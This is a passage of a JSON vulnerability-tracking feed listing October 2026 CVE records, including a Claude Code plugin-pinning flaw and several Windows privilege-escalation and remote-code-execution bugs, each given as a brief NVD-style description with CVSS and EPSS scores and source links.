named after the reviewed commit, causing checkout to select the branch tip and install attacker-controlled plugin code. Exploitation requires a user to install the malicious plugin and pin it to the ostensibly safe hash. This issue is fixed in version 2.1.179.","detail":"Claude Code is an agentic coding tool. Prior to 2.1.179, the Claude Code and Claude Desktop plugin installation flow runs git checkout for a marketplace-pinned commit without verifying that the resulting HEAD equals the pinned 40-character SHA. An attacker who controls a plugin repository on a Git host that permits SHA-shaped branch names can create a branch named after the reviewed commit, causing checkout to select the branch tip and install attacker-controlled plugin code. Exploitation requires a user to install the malicious plugin and pin it to the ostensibly safe hash. This issue is fixed in version 2.1.179.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:21.417Z","updatedAt":"2026-10-13T21:19:36.730Z","regions":["Global"],"vendor":null,"product":null,"stacks":["AI coding agents"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-86063","asOf":"2026-10-13T21:19:36.730Z"},"epss":{"probability":0.00172,"percentile":0.06502,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-86063&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-86063","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-86063","type":"primary","publishedAt":"2026-10-13T19:21:21.417Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-86063&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-86063, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85945","cveId":"CVE-2026-85945","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Kernel allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:21.237Z","updatedAt":"2026-10-16T16:22:21.500Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85945","asOf":"2026-10-16T16:22:21.500Z"},"epss":{"probability":0.00369,"percentile":0.30518,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85945&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85945","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85945","type":"primary","publishedAt":"2026-10-13T19:21:21.237Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85945&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85945, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85943","cveId":"CVE-2026-85943","aliases":[],"kind":"vulnerability","title":"Time-of-check time-of-use (toctou) race condition in Reliable Multicast Transport Driver (RMCAST) allows an authorized attacker to elevate privileges locally.","summary":"Time-of-check time-of-use (toctou) race condition in Reliable Multicast Transport Driver (RMCAST) allows an authorized attacker to elevate privileges locally.","detail":"Time-of-check time-of-use (toctou) race condition in Reliable Multicast Transport Driver (RMCAST) allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:21.050Z","updatedAt":"2026-10-16T16:22:21.277Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85943","asOf":"2026-10-16T16:22:21.277Z"},"epss":{"probability":0.00219,"percentile":0.1232,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85943&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85943","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85943","type":"primary","publishedAt":"2026-10-13T19:21:21.050Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85943&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85943, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85941","cveId":"CVE-2026-85941","aliases":[],"kind":"vulnerability","title":"Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Installer allows an authorized attacker to elevate privileges locally.","summary":"Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Installer allows an authorized attacker to elevate privileges locally.","detail":"Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Installer allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:20.870Z","updatedAt":"2026-10-16T16:22:21.040Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85941","asOf":"2026-10-16T16:22:21.040Z"},"epss":{"probability":0.00233,"percentile":0.1406,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85941&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85941","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85941","type":"primary","publishedAt":"2026-10-13T19:21:20.870Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85941&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85941, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85936","cveId":"CVE-2026-85936","aliases":[],"kind":"vulnerability","title":"Double free in Windows Shell allows an unauthorized attacker to execute code over a network.","summary":"Double free in Windows Shell allows an unauthorized attacker to execute code over a network.","detail":"Double free in Windows Shell allows an unauthorized attacker to execute code over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:20.353Z","updatedAt":"2026-10-17T04:17:06.220Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85936","asOf":"2026-10-17T04:17:06.220Z"},"epss":{"probability":0.00557,"percentile":0.46137,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85936&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85936","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85936","type":"primary","publishedAt":"2026-10-13T19:21:20.353Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85936&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85936, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85934","cveId":"CVE-2026-85934","aliases":[],"kind":"vulnerability","title":"Use after free in Windows AppX Deployment Service allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows AppX Deployment Service allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows AppX Deployment Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:19.907Z","updatedAt":"2026-10-16T16:22:20.023Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85934","asOf":"2026-10-16T16:22:20.023Z"},"epss":{"probability":0.00252,"percentile":0.16478,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85934&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85934","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85934","type":"primary","publishedAt":"2026-10-13T19:21:19.907Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85934&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85934, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85933","cveId":"CVE-2026-85933","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Print Spooler Components allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Print Spooler Components allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Print Spooler Components allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:19.720Z","updatedAt":"2026-10-16T16:22:19.803Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85933","asOf":"2026-10-16T16:22:19.803Z"},"epss":{"probability":0.00245,"percentile":0.15627,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85933&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85933","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85933","type":"primary","publishedAt":"2026-10-13T19:21:19.720Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85933&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85933, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85931","cveId":"CVE-2026-85931","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Distributed File System (DFS) allows an authorized attacker to execute code over a network.","summary":"Heap-based buffer overflow in Windows Distributed File System (DFS) allows an authorized attacker to execute code over a network.","detail":"Heap-based buffer overflow in Windows Distributed File System (DFS) allows an authorized attacker to execute code over a network.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:19.310Z","updatedAt":"2026-10-16T16:22:19.520Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85931","asOf":"2026-10-16T16:22:19.520Z"},"epss":{"probability":0.00851,"percentile":0.57945,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85931&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85931","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85931","type":"primary","publishedAt":"2026-10-13T19:21:19.310Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85931&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85931, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85930","cveId":"CVE-2026-85930","aliases":[],"kind":"vulnerability","title":"Use after free in Windows Image Acquisition allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows Image Acquisition allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows Image Acquisition allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:19.107Z","updatedAt":"2026-10-16T16:22:19.347Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85930","asOf":"2026-10-16T16:22:19.347Z"},"epss":{"probability":0.00204,"percentile":0.10239,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85930&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85930","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85930","type":"primary","publishedAt":"2026-10-13T19:21:19.107Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85930&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85930, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85927","cveId":"CVE-2026-85927","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Universal Plug and Play (UPnP) Device Host allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Universal Plug and Play (UPnP) Device Host allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Universal Plug and Play (UPnP) Device Host allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:18.737Z","updatedAt":"2026-10-16T16:22:18.903Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85927","asOf":"2026-10-16T16:22:18.903Z"},"epss":{"probability":0.00318,"percentile":0.2452,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85927&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85927","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85927","type":"primary","publishedAt":"2026-10-13T19:21:18.737Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85927&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85927, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85912","cveId":"CVE-2026-85912","aliases":[],"kind":"vulnerability","title":"Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Clipboard User Service allows an authorized attacker to elevate privileges...","summary":"Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Clipboard User Service allows an authorized attacker to elevate privileges locally.","detail":"Concurrent execution using shared resource with improper synchronization ('race condition') in Windows Clipboard User Service allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:17.353Z","updatedAt":"2026-10-16T16:22:17.307Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85912","asOf":"2026-10-16T16:22:17.307Z"},"epss":{"probability":0.0019,"percentile":0.08565,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85912&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85912","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85912","type":"primary","publishedAt":"2026-10-13T19:21:17.353Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85912&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85912, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85911","cveId":"CVE-2026-85911","aliases":[],"kind":"vulnerability","title":"Use after free in Windows StateRepository API allows an authorized attacker to elevate privileges locally.","summary":"Use after free in Windows StateRepository API allows an authorized attacker to elevate privileges locally.","detail":"Use after free in Windows StateRepository API allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:17.200Z","updatedAt":"2026-10-16T16:22:17.113Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85911","asOf":"2026-10-16T16:22:17.113Z"},"epss":{"probability":0.00361,"percentile":0.29681,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85911&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85911","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85911","type":"primary","publishedAt":"2026-10-13T19:21:17.200Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=2000","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85911&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85911, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85908","cveId":"CVE-2026-85908","aliases":[],"kind":"vulnerability","title":"Heap-based buffer overflow in Windows Win32K - GRFX allows an authorized attacker to elevate privileges locally.","summary":"Heap-based buffer overflow in Windows Win32K - GRFX allows an authorized attacker to elevate privileges locally.","detail":"Heap-based buffer overflow in Windows Win32K - GRFX allows an authorized attacker to elevate privileges locally.\n\nNVD status: Undergoing Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T19:21:16.717Z","updatedAt":"2026-10-16T16:22:16.607Z","regions":["Global"],"vendor":null,"product":null,"stacks":["Microsoft Windows"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85908","asOf":"2026-10-16T16:22:16.607Z"},"epss":{"probability":0.00434,"percentile":0.37397,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85908&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85908","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85908","type":"primary","publishedAt":"2026-10-13T19:21:16.717Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 